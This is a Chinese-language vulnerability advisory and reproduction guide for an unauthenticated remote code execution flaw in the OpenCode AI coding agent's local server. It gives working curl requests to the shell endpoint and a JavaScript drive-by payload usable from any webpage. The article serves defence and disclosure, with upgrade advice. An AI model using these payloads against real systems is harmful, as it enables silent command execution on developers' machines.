当前位置:首页>java>高危预警 | OpenCode 远程代码执行漏洞 (CVE-2026-22812) 复现与防御

高危预警 | OpenCode 远程代码执行漏洞 (CVE-2026-22812) 复现与防御

  • 2026-09-25 11:27:15
高危预警 | OpenCode 远程代码执行漏洞 (CVE-2026-22812) 复现与防御

摘要:OpenCode AI 编码工具近日曝出高危 RCE 漏洞,攻击者可利用未授权的本地 HTTP 接口绕过权限限制,直接执行任意 Shell 命令。本文将从源码审计角度出发,提供完整的环境构建、漏洞复现步骤及防御策略。

一、漏洞背景与组件分析

OpenCode 是一款颇具影响力的开源 AI 编码代理工具,凭借对多模型的支持及“零存储”隐私策略,在开发者群体中迅速普及。为了实现前端 UI 与后端逻辑的高效交互,OpenCode 在启动时会在本地挂载服务。然而,代码审计显示,在 1.0.216 版本之前,该本地服务存在设计上的重大安全缺陷。

核心缺陷分析:

  • 缺乏身份验证:服务接口未实施任何鉴权机制(如 Token 或 Cookie),任意流量均被视为合法。
  • CORS 策略过宽:允许跨域请求,导致浏览器恶意脚本可直接与本地服务通信。

二、影响范围与风险评估

受影响的版本范围如下:

OpenCode < 1.0.216

攻击路径主要分为“本地利用”与“路过式攻击”。其中,路过式攻击 (Drive-by Attacks) 极具杀伤力:开发者只需访问嵌入恶意脚本的网页,浏览器的 Fetch API 即可向 127.0.0.1:4096 发起跨域请求,从而在后台静默建立反弹 Shell。

三、环境搭建

为了安全还原漏洞场景,建议采用 Docker 容器化部署。我们使用 1.0.207 版本的 OpenCode 服务进行测试。

环境配置参考:https://github.com/Threekiii/AwesomePOC/tree/master/base/opencode/1.0.207

# 启动靶场环境docker-compose up -d

服务启动后,默认监听在 4096 端口。访问 http://your-ip:4096 若能看到主界面,即代表存在漏洞的服务已暴露。

四、漏洞复现深度剖析

通过源码审计,我们锁定了核心漏洞点:POST /session/{id}/shell。该接口允许在指定会话中执行命令。以下是完整的利用链:

OpenCode 启动时会启动一个 HTTP 服务器(默认端口 4096 及以上),且不进行身份验证。暴露的关键端点包括:

  • POST /session/<id>/shell
    :执行 shell 命令 ( server.ts:1401 )
  • POST /pty
    :创建交互式终端会话( server.ts:267 )
  • GET /file/content?path=
    :读取任意文件 ( server.ts:1868 )

可以通过两种途径实现远程代码执行:

  • 本地利用 :任何恶意 npm 包、脚本或被入侵的应用程序都可以以运行 OpenCode 的用户身份执行命令。
  • 基于浏览器的利用(已在 Firefox 中验证) :任何网站都可以对运行 OpenCode 的访问者执行命令。这使得恶意广告、被入侵的网站或钓鱼页面能够发起 drive-by attacks。

步骤一:获取会话标识 (Session ID)

由于缺乏鉴权,直接向 /session 发送空 JSON 即可创建会话。

curl -X POST http://your-ip:4096/session -H "Content-Type: application/json" -d '{}'

步骤二:构造 Payload 执行命令

获取 Session ID后,调用 /shell 接口。我们在 /tmp 目录下创建标记文件作为验证。

ses_3e26e7d61ffeckbRy92ZkFjfqZ
curl -X POST http://your-ip:4096/session/ses_3e26e7d61ffeckbRy92ZkFjfqZ/shell -H "Content-Type: application/json" -d '{"agent": "build","command": "id && touch /tmp/awesome_poc"}'

执行后,观察到终端回显用户的 uid/gid 信息

id && touch /tmp/awesome_poc:

且进入容器验证发现文件创建成功,证实 RCE 有效。

浏览器利用向量 (POC)

以下 JavaScript Payload 可被嵌入任意网页,实现无感攻击:

// 模拟恶意网站攻击脚本fetch('http://127.0.0.1:4096/session', {method: 'POST',headers: {'Content-Type': 'application/json'},body: '{}'}).then(r => r.json()).then(session => {fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify({agent: 'build',command: 'id > /tmp/pwned.txt'})});});

五、修复建议与安全加固

官方修复方案:

  • 升级版本:请务必将 OpenCode 升级至>=1.0.216 或更高版本。
  • 下载地址:
  • https://github.com/anomalyco/opencode/releases

本文内容仅供技术研究与安全防御参考严禁用于非法用途

最新文章

随机文章